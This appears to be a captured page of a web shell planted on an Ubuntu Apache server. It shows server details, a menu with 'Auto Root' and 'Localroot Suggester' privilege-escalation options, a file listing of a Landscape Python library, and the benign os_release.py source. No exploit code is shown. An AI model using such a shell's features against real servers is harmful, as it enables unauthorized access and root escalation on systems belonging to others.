Linux tsuru-no-tsurugi 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.0.18 & Your IP : 216.73.216.68
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python3 /
dist-packages /
landscape /
lib /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2025-12-31 20:41
apt
[ DIR ]
drwxr-xr-x
2025-12-31 20:41
__init__.py
198
B
-rw-r--r--
2023-02-08 03:55
amp.py
21.24
KB
-rw-r--r--
2023-02-08 03:55
backoff.py
1.64
KB
-rw-r--r--
2023-02-08 03:55
base64.py
196
B
-rw-r--r--
2023-02-08 03:55
bootstrap.py
1.38
KB
-rw-r--r--
2023-02-08 03:55
bpickle.py
6.32
KB
-rw-r--r--
2023-02-08 03:55
cli.py
440
B
-rw-r--r--
2023-02-08 03:55
cloud.py
1.67
KB
-rw-r--r--
2023-02-08 03:55
compat.py
616
B
-rw-r--r--
2023-02-08 03:55
config.py
12.19
KB
-rw-r--r--
2023-02-08 03:55
disk.py
4.91
KB
-rw-r--r--
2023-02-08 03:55
encoding.py
545
B
-rw-r--r--
2023-02-08 03:55
fd.py
751
B
-rw-r--r--
2023-02-08 03:55
fetch.py
6.49
KB
-rw-r--r--
2023-02-08 03:55
format.py
959
B
-rw-r--r--
2023-02-08 03:55
fs.py
3.8
KB
-rw-r--r--
2023-02-08 03:55
gpg.py
1.75
KB
-rw-r--r--
2023-02-08 03:55
hashlib.py
264
B
-rw-r--r--
2023-02-08 03:55
jiffies.py
1.58
KB
-rw-r--r--
2023-02-08 03:55
juju.py
860
B
-rw-r--r--
2023-02-08 03:55
lock.py
705
B
-rw-r--r--
2023-02-08 03:55
log.py
484
B
-rw-r--r--
2023-02-08 03:55
logging.py
2.47
KB
-rw-r--r--
2023-02-08 03:55
message.py
2.58
KB
-rw-r--r--
2023-02-08 03:55
monitor.py
6.13
KB
-rw-r--r--
2023-02-08 03:55
network.py
9.59
KB
-rw-r--r--
2025-06-14 01:13
os_release.py
1.29
KB
-rw-r--r--
2025-06-14 01:13
persist.py
20.5
KB
-rw-r--r--
2023-02-08 03:55
plugin.py
1.75
KB
-rw-r--r--
2023-02-08 03:55
process.py
6.45
KB
-rw-r--r--
2023-02-08 03:55
reactor.py
8.61
KB
-rw-r--r--
2023-02-08 03:55
schema.py
6.31
KB
-rw-r--r--
2023-02-08 03:55
scriptcontent.py
522
B
-rw-r--r--
2023-02-08 03:55
sequenceranges.py
5.59
KB
-rw-r--r--
2023-02-08 03:55
store.py
1.38
KB
-rw-r--r--
2023-02-08 03:55
sysstats.py
7.73
KB
-rw-r--r--
2023-02-08 03:55
tag.py
506
B
-rw-r--r--
2023-02-08 03:55
testing.py
24.08
KB
-rw-r--r--
2023-02-08 03:55
timestamp.py
233
B
-rw-r--r--
2023-02-08 03:55
twisted_util.py
4.37
KB
-rw-r--r--
2023-02-08 03:55
user.py
1.44
KB
-rw-r--r--
2023-02-08 03:55
versioning.py
1.24
KB
-rw-r--r--
2023-02-08 03:55
vm_info.py
3.1
KB
-rw-r--r--
2023-02-08 03:55
warning.py
394
B
-rw-r--r--
2023-02-08 03:55
Save
Rename
"""Get information from os-release.""" import os OS_RELEASE_FILENAME = "/etc/os-release" OS_RELEASE_FILENAME_FALLBACK = "/usr/lib/os-release" OS_RELEASE_FILE_KEYS = { "NAME": "distributor-id", "PRETTY_NAME": "description", "VERSION_ID": "release", "VERSION_CODENAME": "code-name", } def parse_os_release(os_release_filename=None): """ Returns a C{dict} holding information about the system LSB release by attempting to parse C{os_release_filename} if specified. If no filename is provided /etc/os-release will be used or /usr/lib/os-release as a fallback as indicated in os-release at Freedesktop.org @raises: A FileNotFoundError if C{filename} does not exist. """ info = {} if os_release_filename is None: os_release_filename = OS_RELEASE_FILENAME if not os.path.exists(os_release_filename) or not os.access( os_release_filename, os.R_OK, ): os_release_filename = OS_RELEASE_FILENAME_FALLBACK with open(os_release_filename) as fd: for line in fd: key, value = line.split("=") if key in OS_RELEASE_FILE_KEYS: key = OS_RELEASE_FILE_KEYS[key.strip()] value = value.strip().strip('"') info[key] = value return info